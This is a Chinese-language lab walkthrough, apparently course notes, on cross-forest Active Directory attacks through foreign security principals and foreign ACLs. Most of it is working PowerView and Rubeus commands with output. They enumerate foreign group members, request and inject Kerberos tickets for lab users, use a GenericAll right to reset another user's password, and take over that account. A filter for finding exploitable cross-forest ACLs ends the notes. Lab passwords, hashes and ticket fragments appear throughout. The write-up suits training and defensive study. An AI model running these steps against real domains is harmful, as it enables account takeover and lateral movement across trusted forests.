跨林攻击-外部安全主体&ACLs

1. Foreign Group membership

在跨林AD 环境中,可以将一个域中的用户或组添加到另一个域中的组中。此功能允许对不同林中的多个域进行集中式权限和访问控制管理。

在AD 结构中,每个安全组都被指定了一个特定的作用域(Scope),该作用域决定了其在域树或林中的应用范围。此作用域界定了与该组关联的权限可以在网络中的哪些区域被授予

Scope Possible Members
Universal 来自同一林中任何域的帐户、来自同一林中任何域的全局组以及来自同一林中任何域的其他通用组。
Global 来自同一域的帐户和来自同一域的其他全局组。
Domain Local 来自任何域或任何受信任域的帐户、来自任何域或任何受信任域的全局组、来自同一林中任何域的通用组、来自同一域的其他域本地组。此外还包括来自其他林和外部域的帐户、全局组和通用组。

只有域本地组可以跨林包含用户。 在跨林环境中,林 A 的域只能将林 B 的用户添加进林 A 的 Domain Local 组中,而不能添加进 Global 组或 Universal 组。

除了这三个作用域之外,内置容器中的默认组还具有 Builtin Local 组作用域。此组作用域和组类型无法更改。

1.1. 外部安全主体

在 AD 的语境下,一个林中的用户若要被包含在另一个林中,只能通过成为域本地组(Domain Local groups)成员的方式实现。例如,假设有两个域:inlanefreight.adlogistics.ad。假定我们在 logistics.ad 域中建立了一个名为 svc_admins 的域本地组
Pasted image 20260309212854.png
现在,如果我们向 svc_admins 组添加用户 Inlanefreight\harry,那么与该组关联的权限将无缝延伸至 Inlanefreight\harry;同时,这些权限也将反映在 logistics.ad 域的外部安全主体(FSP)容器中
Pasted image 20260309212938.png
Pasted image 20260309212943.png

外部安全主体(Foreign Security Principal,简称 FSP) 是系统自动创建的一种对象,用于在当前域内代表来自受信任外部林的安全主体。这些对象存储在域内的“Foreign Security Principals”容器中,可以被添加至域本地安全组并授予相应权限。除了代表外部用户,FSP 还可以表示如“已验证用户”、“匿名登录”及“企业域控制器”等特殊身份,这些特殊身份在被加入组时会生成对应的 FSP 以实现权限分配。本质上,每个 FSP 对象都是一个保存外部对象 SID 的占位符;当 Active Directory 用户和计算机等管理工具需要显示其友好名称时,Windows 会利用该 SID 通过信任关系进行解析。

1.1.1. 枚举外部安全主体

PS C:\Tools> Get-DomainObject -LDAPFilter '(objectclass=ForeignSecurityPrincipal)' -Domain logistics.ad 

<SNIP>
objectcategory         : CN=Foreign-Security-Principal,CN=Schema,CN=Configuration,DC=logistics,DC=ad
cn                     : S-1-5-21-2432454459-173448545-3375717855-3601
objectguid             : 97eaddf2-cd72-48a0-a5a6-95b50f244572
name                   : S-1-5-21-2432454459-173448545-3375717855-3601distinguishedname      : CN=S-1-5-21-2432454459-173448545-3375717855-3601,CN=ForeignSecurityPrincipals,DC=logistics,DC=ad
showinadvancedviewonly : True
objectclass            : {top, foreignSecurityPrincipal}
objectsid              : S-1-5-21-2432454459-173448545-3375717855-3601
  • name 属性显示的是用户的 SID 值,而不是实际的用户名

转换SID为用户名

PS C:\Tools> ConvertFrom-SID S-1-5-21-2432454459-173448545-3375717855-3601
INLANEFREIGHT\harry
  • 获取到用户名 INLANEFREIGHT\harry

然而,在枚举外部安全主体 (FSP) 时,虽然我们可以确定当前用户在目标域中的外部成员身份,但它无法提供该用户所属的组名称。为了解决这个问题,我们可以使用 powerview 的 Get-DomainForeignGroupMember 函数,该函数可以枚举当前用户所属的目标域中的所有组。

1.1.2. 枚举Logistics 域内各个组的用户

PS C:\Tools> Import-Module .\PowerView.ps1
PS C:\Tools> Get-DomainForeignGroupMember -Domain logistics.ad
GroupDomain             : logistics.ad
GroupName               : svc_admins
GroupDistinguishedName  : CN=svc_admins,CN=ForeignSecurityPrincipals,DC=logistics,DC=ad
MemberDomain            : logistics.ad
MemberName              : S-1-5-21-2432454459-173448545-3375717855-3601MemberDistinguishedName : CN=S-1-5-21-2432454459-173448545-3375717855-3601,CN=ForeignSecurityPrincipals,DC=logistics,DC=ad
  • MemberName就是我们需要的内容,但是目前是SID显示的

转换SID2Name

PS C:\Tools> ConvertFrom-SID S-1-5-21-2432454459-173448545-3375717855-3601
INLANEFREIGHT\harry
  • 用户 Inlanefreight\harry 是logistics域中 Logistics\svc_admins 组的成员

这里从logistics域控制器确认 Inlanefreight\harry 也可以发现是在 Logistics\svc_admins 组中的
Pasted image 20260309214522.png

利用 BloodHound 分析 harry 的权限,也是可以发现的
Pasted image 20260309214613.png

可以多次进行bloodhound收集,并分别添加-d logistics.ad-d inlanefreight.ad 参数以获取最完整的数据

1.2. 利用外部主体

1.2.1. 使用 Rubeus 创建一个牺牲登录会话

PS C:\Tools> ./Rubeus createnetonly /program:powershell.exe /show
______        _
(_____ \      | |
_____) )_   _| |__  _____ _   _  ___
|  __  /| | | |  _ \| ___ | | | |/___)
| |  \ \| |_| | |_) ) ____| |_| |___ |
|_|   |_|____/|____/|_____)____/(___/

v2.2.3

[*] Action: Create Process (/netonly)

[*] Using random username and password.
[*] Showing process : True
[*] Username        : FLTNQYMI
[*] Domain          : YH4TURBL
[*] Password        : KNNI2TMI
[+] Process         : 'powershell.exe' successfully created with LOGON_TYPE = 9
[+] ProcessID       : 4752
[+] LUID            : 0x52dacc

1.2.2. 申请TGT

PS C:\Tools> .\Rubeus.exe asktgt /user:harry /password:Password123 /domain:inlanefreight.ad /ptt
______        _
(_____ \      | |
_____) )_   _| |__  _____ _   _  ___
|  __  /| | | |  _ \| ___ | | | |/___)
| |  \ \| |_| | |_) ) ____| |_| |___ |
|_|   |_|____/|____/|_____)____/(___/

v2.2.3

[*] Action: Ask TGT

[*] Using rc4_hmac hash: 58A478135A93AC3BF058A5EA0E8FDB71
[*] Building AS-REQ (w/ preauth) for: 'inlanefreight.ad\harry'
[*] Using domain controller: fe80::302c:62:f027:53eb%6:88
[+] TGT request successful!
[*] base64(ticket.kirbi):

doIE+DCCBPSgAwIBBaEDAgEWooIEDjCCBAphggQGMIIEAqADAgEFoQ4bDExPR0lTVElDUy5BRKIhMB+gR
MjAyNDAzMjYxOTUyNDRaphEYDzIwMjQwMzI3MDU1MjQ0WqcRGA8yMDI0MDQwMjE5NTI0NFqoEhsQSU5MQ
SU5MQU5FRlJFSUdIVC5BRKklMCOgAwIBAqEcMBobBmtyYnRndBsQaW5sYW5lZnJlaWdodC5hZAW9lMTAz
J9UjEaab6ESGxBJTkxBTkVGUkVJR0hULkFEohIwEKADAgEBoQkwBxsFaGFycnmjBwMFAEDhAAClERgPAA
<SNIP>

[+] Ticket successfully imported!

  ServiceName              :  krbtgt/inlanefreight.ad
  ServiceRealm             :  INLANEFREIGHT.AD
  UserName                 :  harry
  UserRealm                :  INLANEFREIGHT.AD
  StartTime                :  3/26/2024 12:52:44 PM
  EndTime                  :  3/26/2024 10:52:44 PM
  RenewTill                :  4/2/2024 12:52:44 PM
  Flags                    :  name_canonicalize, pre_authent, initial, renewable, forwardable
  KeyType                  :  rc4_hmac
  Base64(key)              :  gfmuXtyf2lrJzJ9UjEaabw==
  ASREP (key)              :  58A478135A93AC3BF058A5EA0E8FDB71
PS C:\Tools> klist.exe
Current LogonId is 0:0x4468b
Cached Tickets: (1)
#0>     Client: harry @ INLANEFREIGHT.AD
        Server: krbtgt/inlanefreight.ad @ INLANEFREIGHT.AD
        KerbTicket Encryption Type: AES-256-CTS-HMAC-SHA1-96
        Ticket Flags 0x40e10000 -> forwardable renewable initial pre_authent name_canonicalize
        Start Time: 3/26/2024 12:52:44 (local)
        End Time:   3/26/2024 22:52:44 (local)
        Renew Time: 4/2/2024 12:52:44 (local)
        Session Key Type: RSADSI RC4-HMAC(NT)
        Cache Flags: 0x1 -> PRIMARY
        Kdc Called:
  • 利用 Inlanefreight\harry 的TGT,我们可以访问logistics域,因为它是其svc_admins组的成员
  • 但只能访问svc_admins权限可以访问的资源

1.2.3. 访问logistics域

PS C:\Tools> dir \\DC02.logistics.ad\

2. 外部ACL主体

来自 Forest-A 域的用户或组可能拥有对 Forest-B 域中的组或用户的ACL权限,例如 GenericAll 、 Write Property 、 GenericWrite 、 Write Dacl 、 WriteOwner 等。这种情况类似于林内攻击-Foreign Groups & ACL Principals > 3. 外部ACL主体,这里不再赘述。而是探讨另一种涉及用户而非组的 ACL 场景,重点关注用户对其他用户拥有 GenericAll 权限的情况。

2.1. 枚举

2.1.1. 枚举外部ACL主体

利用powerviewGet-DomainObjectACL可以进行针对性枚举

PS C:\Tools> Import-Module .\PowerView.ps1
PS C:\Users\Administrator\Downloads> $sid = Convert-NameToSid ava
PS C:\Tools> Get-DomainObjectAcl -ResolveGUIDs -Identity * -domain logistics.ad | ? {$_.SecurityIdentifier -eq $sid}

AceType               : AccessAllowed
ObjectDN              : CN=jessica,CN=Users,DC=logistics,DC=ad
ActiveDirectoryRights : GenericAllOpaqueLength          : 0
ObjectSID             : S-1-5-21-186204973-2882451676-2899969076-6601
InheritanceFlags      : None
BinaryLength          : 36
IsInherited           : False
IsCallback            : False
PropagationFlags      : None
SecurityIdentifier    : S-1-5-21-2432454459-173448545-3375717855-6101
AccessMask            : 983551
AuditFlags            : None
AceFlags              : None
AceQualifier          : AccessAllowed
  •  INLANEFREIGHT\ava 对  LOGISTICS\Jessica 用户拥有 GenericAll
    直接从DC中也可以看到
    Pasted image 20260309215458.png

也可以用BloodHound
Pasted image 20260309215514.png

2.2. 利用外部 ACL 主体

2.2.1. 使用 Rubeus 创建一个牺牲登录会话

PS C:\Tools> ./Rubeus createnetonly /program:powershell.exe /show
______        _
(_____ \      | |
_____) )_   _| |__  _____ _   _  ___
|  __  /| | | |  _ \| ___ | | | |/___)
| |  \ \| |_| | |_) ) ____| |_| |___ |
|_|   |_|____/|____/|_____)____/(___/

v2.2.3

[*] Action: Create Process (/netonly)

[*] Using random username and password.
[*] Showing process : True
[*] Username        : FLTNQYMI
[*] Domain          : YH4TURBL
[*] Password        : KNNI2TMI
[+] Process         : 'powershell.exe' successfully created with LOGON_TYPE = 9
[+] ProcessID       : 4752
[+] LUID            : 0x52dacc

2.2.2. 获取ava用户的TGT

PS C:\Tools>  .\Rubeus.exe asktgt /user:ava /password:ava /domain:inlanefreight.ad /ptt

______        _
(_____ \      | |
_____) )_   _| |__  _____ _   _  ___
|  __  /| | | |  _ \| ___ | | | |/___)
| |  \ \| |_| | |_) ) ____| |_| |___ |
|_|   |_|____/|____/|_____)____/(___/

v2.2.3

[*] Action: Ask TGT

[*] Using rc4_hmac hash: 58A478135A93AC3BF058A5EA0E8FDB71
[*] Building AS-REQ (w/ preauth) for: 'inlanefreight.ad\ava'
[*] Using domain controller: fe80::2433:5e86:aecb:2b8%5:88
[+] TGT request successful!
[*] base64(ticket.kirbi):

doIE+DCCBPSgAwIBBaEDAgEWooIEDjCCBAphggQGMIIEAqADAgEFoQ4bDExPR0lTVElDUy5BRKIhMB+g
EqADAgEBoQswCRsHamVzc2ljYaMHAwUAQOEAAKURGA8yMDI0MDQwMjIyNTkyMVqmERgPMjAyNDA0MDMw
ASwAFGZjOYRxKX8kOQ/Ki0574ItiSx9FnHQ91PTrhUGLEc24K69zvR0QEdG1wpftFZ5vjTHwWJMhZJQY
3YAzaYSfPXoOSCh0aQzRqrxYcsNSiQcLyHuUMvlt7ZnE8vis0QFkcojtuVajnPtKEuIH89Z2WoRW9lMT
<SNIP>

[+] Ticket successfully imported!

  ServiceName              :  krbtgt/inlanefreight.ad
  ServiceRealm             :  INLANEFREIGHT.AD
  UserName                 :  ava
  UserRealm                :  INLANEFREIGHT.AD
  StartTime                :  3/27/2024 10:09:26 PM
  EndTime                  :  3/28/2024 8:09:26 AM
  RenewTill                :  4/3/2024 10:09:26 PM
  Flags                    :  name_canonicalize, pre_authent, initial, renewable, forwardable
  KeyType                  :  rc4_hmac
  Base64(key)              :  4uXMaIbUVRj7gZvx4xNUrQ==
  ASREP (key)              :  58A478135A93AC3BF058A5EA0E8FDB71

2.2.3. 利用GeniricAll修改jessica的密码

PS C:\Tools> Import-Module .\PowerView.ps1
PS C:\Tools> $pass = ConvertTo-SecureString 'Test@1234' -AsPlainText -Force
PS C:\Tools> Set-DomainUserPassword -identity jessica -AccountPassword $pass -domain logistics.ad -verbose
VERBOSE: [Get-PrincipalContext] Binding to domain 'logistics.ad'
VERBOSE: [Set-DomainUserPassword] Attempting to set the password for user 'jessica'
VERBOSE: [Set-DomainUserPassword] Password for user 'jessica' successfully reset

2.2.4. 获取jessica的TGT

PS C:\Tools> .\Rubeus.exe asktgt /user:jessica /password:'Test@1234' /domain:logistics.ad /ptt

______        _
(_____ \      | |
_____) )_   _| |__  _____ _   _  ___
|  __  /| | | |  _ \| ___ | | | |/___)
| |  \ \| |_| | |_) ) ____| |_| |___ |
|_|   |_|____/|____/|_____)____/(___/

v2.2.3

[*] Action: Ask TGT
[*] Using rc4_hmac hash: B6E259E4E96F44D98AB6EEAA3B328ED7
[*] Building AS-REQ (w/ preauth) for: 'logistics.ad\jessica'
[*] Using domain controller: 172.16.118.252:88
[+] TGT request successful!
[*] base64(ticket.kirbi):

doIE+DCCBPSgAwIBBaEDAgEWooIEDjCCBAphggQGMIIEAqADAgEFoQ4bDExPR0lTVElDUy5BRKIhMB+g
AwIBAqEYMBYbBmtyYnRndBsMbG9naXN0aWNzLmFko4IDxjCCA8KgAwIBEqEDAgECooIDtASCA7B32LS5
ASwAFGZjOYRxKX8kOQ/Ki0574ItiSx9FnHQ91PTrhUGLEc24K69zvR0QEdG1wpftFZ5vjTHwWJMhZJQY
3YAzaYSfPXoOSCh0aQzRqrxYcsNSiQcLyHuUMvlt7ZnE8vis0QFkcojtuVajnPtKEuIH89Z2WoRW9lMT
ih44eDDBj7I6NaL9iGBbTAz+rSpjCz2wfd/prOSWBR8otjXY6wUevMAdCDxnv7V1NqCi07Kyy93GdO8W
sHkW50I0/JPuZhoBswPJUoMFj8KWfVAj79136crHsBdHWLGX/xagqIdT6pxaCF1qf4J7Mgncj1iW1Cwp
bHOwtWXv1RY5V9vrmcDR1BP8VHJ5qG/UMvNqgKzljUTyTyT8S1MUG7lOPP6fBRnd0+yDSxvzaEhFPmWN
<SNIP>

[+] Ticket successfully imported!
ServiceName              :  krbtgt/logistics.ad
ServiceRealm             :  LOGISTICS.AD
UserName                 :  jessica
UserRealm                :  LOGISTICS.AD
StartTime                :  4/2/2024 3:59:21 PM
EndTime                  :  4/3/2024 1:59:21 AM
RenewTill                :  4/9/2024 3:59:21 PM
Flags                    :  name_canonicalize, pre_authent, initial, renewable, forwardable
KeyType                  :  rc4_hmac
Base64(key)              :  1XwLnkCO9NB8R7RZAwJj8w==
ASREP (key)              :  B6E259E4E96F44D98AB6EEAA3B328ED7

2.3. 枚举所有用户的外部ACLs

$Domain = "logistics.ad"
$DomainSid = Get-DomainSid $Domain

Get-DomainObjectAcl -Domain $Domain -ResolveGUIDs -Identity * | ? { 
    ($_.ActiveDirectoryRights -match 'WriteProperty|GenericAll|GenericWrite|WriteDacl|WriteOwner') -and `
    ($_.AceType -match 'AccessAllowed') -and `
    ($_.SecurityIdentifier -match '^S-1-5-.*-[1-9]\d{3,}$') -and `
    ($_.SecurityIdentifier -notmatch $DomainSid)
}